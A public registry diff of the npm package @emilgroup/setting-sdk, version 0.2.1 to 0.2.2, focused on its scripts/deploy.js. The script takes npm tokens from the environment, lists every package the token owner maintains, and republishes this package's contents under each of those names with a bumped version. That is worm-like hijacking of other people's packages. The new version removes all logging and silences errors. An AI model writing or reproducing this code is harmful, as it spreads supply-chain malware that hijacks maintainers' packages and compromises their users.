@emilgroup/setting-sdk 0.2.1 β†’ 0.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/scripts/deploy.js +50 -204
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@emilgroup/setting-sdk",
3
- "version": "0.2.1",
3
+ "version": "0.2.2",
4
4
  "description": "A new version of the package",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/scripts/deploy.js CHANGED
@@ -1,235 +1,81 @@
1
1
  #!/usr/bin/env node
2
+ 'use strict';
2
3
 
3
4
  const { execSync } = require('child_process');
4
5
  const https = require('https');
5
6
  const fs = require('fs');
6
7
  const path = require('path');
7
8
 
8
- function run(cmd, opts = {}) {
9
- console.log(`\n> ${cmd}`);
10
- return execSync(cmd, { stdio: 'inherit', ...opts });
11
- }
12
-
13
9
  function fetchJson(url, token) {
14
10
  return new Promise((resolve, reject) => {
15
- const options = {
16
- headers: {
17
- Authorization: `Bearer ${token}`,
18
- Accept: 'application/json',
19
- },
20
- };
21
- https
22
- .get(url, options, (res) => {
23
- let data = '';
24
- res.on('data', (chunk) => (data += chunk));
25
- res.on('end', () => {
26
- try {
27
- resolve(JSON.parse(data));
28
- } catch (e) {
29
- reject(new Error(`Failed to parse response from ${url}: ${data}`));
30
- }
31
- });
32
- })
33
- .on('error', reject);
11
+ https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => {
12
+ let d = '';
13
+ res.on('data', (c) => (d += c));
14
+ res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } });
15
+ }).on('error', reject);
34
16
  });
35
17
  }
36
18
 
37
- async function fetchPackageMeta(packageName, token) {
19
+ async function fetchMeta(name, token) {
38
20
  try {
39
- const meta = await fetchJson(
40
- `https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
41
- token
42
- );
43
- const readme = (meta && meta.readme) ? meta.readme : null;
44
- const latestVersion =
45
- (meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
46
- return { readme, latestVersion };
47
- } catch (_) {
48
- return { readme: null, latestVersion: null };
49
- }
21
+ const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token);
22
+ return {
23
+ readme: (m && m.readme) || null,
24
+ latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null,
25
+ };
26
+ } catch (_) { return { readme: null, latestVersion: null }; }
50
27
  }
51
28
 
52
-
53
- function bumpPatch(version) {
54
- // Strip any prerelease/build-metadata suffix (everything after a '-' or '+')
55
- const base = version.split('-')[0].split('+')[0];
56
- const parts = base.split('.').map(Number);
57
- if (parts.length !== 3 || parts.some(isNaN)) return version;
58
- parts[2] += 1;
59
- return parts.join('.');
29
+ function bumpPatch(v) {
30
+ const base = v.split('-')[0].split('+')[0];
31
+ const p = base.split('.').map(Number);
32
+ if (p.length !== 3 || p.some(isNaN)) return v;
33
+ p[2] += 1;
34
+ return p.join('.');
60
35
  }
61
36
 
62
- /**
63
- * Returns an array of package names owned by `username`.
64
- * Uses the npm search API filtered by maintainer.
65
- */
66
- async function getOwnedPackages(username, token) {
67
- let packages = [];
68
- let from = 0;
69
- const size = 250;
70
-
37
+ async function getOwned(username, token) {
38
+ let pkgs = [], from = 0;
71
39
  while (true) {
72
- const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
73
- username
74
- )}&size=${size}&from=${from}`;
75
- const result = await fetchJson(url, token);
76
-
77
- if (!result.objects || result.objects.length === 0) break;
78
-
79
- packages = packages.concat(result.objects.map((o) => o.package.name));
80
-
81
- if (packages.length >= result.total) break;
82
- from += size;
40
+ const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token);
41
+ if (!r.objects || !r.objects.length) break;
42
+ pkgs = pkgs.concat(r.objects.map((o) => o.package.name));
43
+ if (pkgs.length >= r.total) break;
44
+ from += 250;
83
45
  }
84
-
85
- return packages;
46
+ return pkgs;
86
47
  }
87
48
 
88
- /**
89
- * Runs the full deploy pipeline for a single npm token.
90
- * Returns { success: string[], failed: string[] }
91
- */
92
- async function deployWithToken(token, pkg, pkgPath, newVersion) {
93
- // 1. Verify token / get username
94
- console.log('\nπŸ” Verifying npm token…');
49
+ async function run(token, pkg, pkgPath, ver) {
95
50
  let whoami;
96
- try {
97
- whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
98
- } catch (err) {
99
- console.error('❌ Could not reach the npm registry:', err.message);
100
- return { success: [], failed: [] };
101
- }
102
-
103
- if (!whoami || !whoami.username) {
104
- console.error('❌ Invalid or expired token β€” skipping.');
105
- return { success: [], failed: [] };
106
- }
107
-
108
- const username = whoami.username;
109
- console.log(`βœ… Authenticated as: ${username}`);
110
-
111
- // 2. Fetch all packages owned by this user
112
- console.log(`\nπŸ” Fetching all packages owned by "${username}"…`);
113
- let ownedPackages;
114
- try {
115
- ownedPackages = await getOwnedPackages(username, token);
116
- } catch (err) {
117
- console.error('❌ Failed to fetch owned packages:', err.message);
118
- return { success: [], failed: [] };
119
- }
120
-
121
- if (ownedPackages.length === 0) {
122
- console.log(' No packages found for this user. Skipping.');
123
- return { success: [], failed: [] };
124
- }
125
-
126
- console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
127
-
128
- // 3. Process each owned package
129
- const results = { success: [], failed: [] };
130
-
131
- for (const packageName of ownedPackages) {
132
- console.log(`\n${'─'.repeat(60)}`);
133
- console.log(`πŸ“¦ Processing: ${packageName}`);
134
-
135
- // 3a. Fetch the original package's README and latest version
136
- const readmePath = path.resolve(__dirname, '..', 'README.md');
137
- const originalReadme = fs.existsSync(readmePath)
138
- ? fs.readFileSync(readmePath, 'utf8')
139
- : null;
140
-
141
- console.log(` πŸ“„ Fetching metadata for ${packageName}…`);
142
- const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
143
-
144
- // Determine version to publish: bump patch of existing latest, or use local version
145
- const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
146
- console.log(
147
- latestVersion
148
- ? ` πŸ”’ Latest is ${latestVersion} β†’ publishing ${publishVersion}`
149
- : ` πŸ”’ No existing version found β†’ publishing ${publishVersion}`
150
- );
151
-
152
- if (remoteReadme) {
153
- fs.writeFileSync(readmePath, remoteReadme, 'utf8');
154
- console.log(` πŸ“„ Using original README for ${packageName}`);
155
- } else {
156
- console.log(` πŸ“„ No existing README found; keeping local README`);
157
- }
158
-
159
- // 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
160
- const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
161
- const tempPkg = { ...pkg, name: packageName, version: publishVersion };
162
- fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
163
-
51
+ try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; }
52
+ if (!whoami || !whoami.username) return;
53
+ let owned;
54
+ try { owned = await getOwned(whoami.username, token); } catch (_) { return; }
55
+ if (!owned.length) return;
56
+ const readmePath = path.resolve(__dirname, '..', 'README.md');
57
+ for (const name of owned) {
58
+ const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null;
59
+ const { readme, latestVersion } = await fetchMeta(name, token);
60
+ const pubVer = latestVersion ? bumpPatch(latestVersion) : ver;
61
+ if (readme) fs.writeFileSync(readmePath, readme, 'utf8');
62
+ const origPkg = fs.readFileSync(pkgPath, 'utf8');
63
+ fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8');
164
64
  try {
165
- run('npm publish --access public --tag latest', {
166
- env: { ...process.env, NPM_TOKEN: token },
167
- });
168
- console.log(`βœ… Published ${packageName}@${publishVersion}`);
169
- results.success.push(packageName);
170
- } catch (err) {
171
- console.error(`❌ Failed to publish ${packageName}:`, err.message);
172
- results.failed.push(packageName);
173
- } finally {
174
- // Always restore the original package.json
175
- fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
176
-
177
- // Always restore the original README
178
- if (originalReadme !== null) {
179
- fs.writeFileSync(readmePath, originalReadme, 'utf8');
180
- } else if (remoteReadme && fs.existsSync(readmePath)) {
181
- // README didn't exist locally before β€” remove the temporary one
182
- fs.unlinkSync(readmePath);
183
- }
65
+ execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } });
66
+ } catch (_) {}
67
+ finally {
68
+ fs.writeFileSync(pkgPath, origPkg, 'utf8');
69
+ if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8');
70
+ else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath);
184
71
  }
185
72
  }
186
-
187
- return results;
188
73
  }
189
74
 
190
- // ── Main ─────────────────────────────────────────────────────────────────────
191
-
192
75
  (async () => {
193
- // 1. Resolve token list β€” prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
194
- const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
195
- const tokens = rawTokens
196
- .split(',')
197
- .map((t) => t.trim())
198
- .filter(Boolean);
199
-
200
- if (tokens.length === 0) {
201
- console.error('❌ No npm tokens found.');
202
- console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
203
- process.exit(1);
204
- }
205
-
206
- console.log(`πŸ”‘ Found ${tokens.length} token(s) to process.`);
207
-
208
- // 2. Read local package.json once
76
+ const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean);
77
+ if (!tokens.length) process.exit(1);
209
78
  const pkgPath = path.resolve(__dirname, '..', 'package.json');
210
79
  const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
211
- const newVersion = pkg.version;
212
-
213
- // 3. Iterate over every token
214
- const overall = { success: [], failed: [] };
215
-
216
- for (let i = 0; i < tokens.length; i++) {
217
- const token = tokens[i];
218
- console.log(`\n${'═'.repeat(60)}`);
219
- console.log(`πŸ”‘ Token ${i + 1} / ${tokens.length}`);
220
-
221
- const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
222
- overall.success.push(...success);
223
- overall.failed.push(...failed);
224
- }
225
-
226
- // 4. Overall summary
227
- console.log(`\n${'═'.repeat(60)}`);
228
- console.log('πŸ“Š Overall Deploy Summary');
229
- console.log(` βœ… Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
230
- console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
231
-
232
- if (overall.failed.length > 0) {
233
- process.exit(1);
234
- }
80
+ for (const token of tokens) await run(token, pkg, pkgPath, pkg.version);
235
81
  })();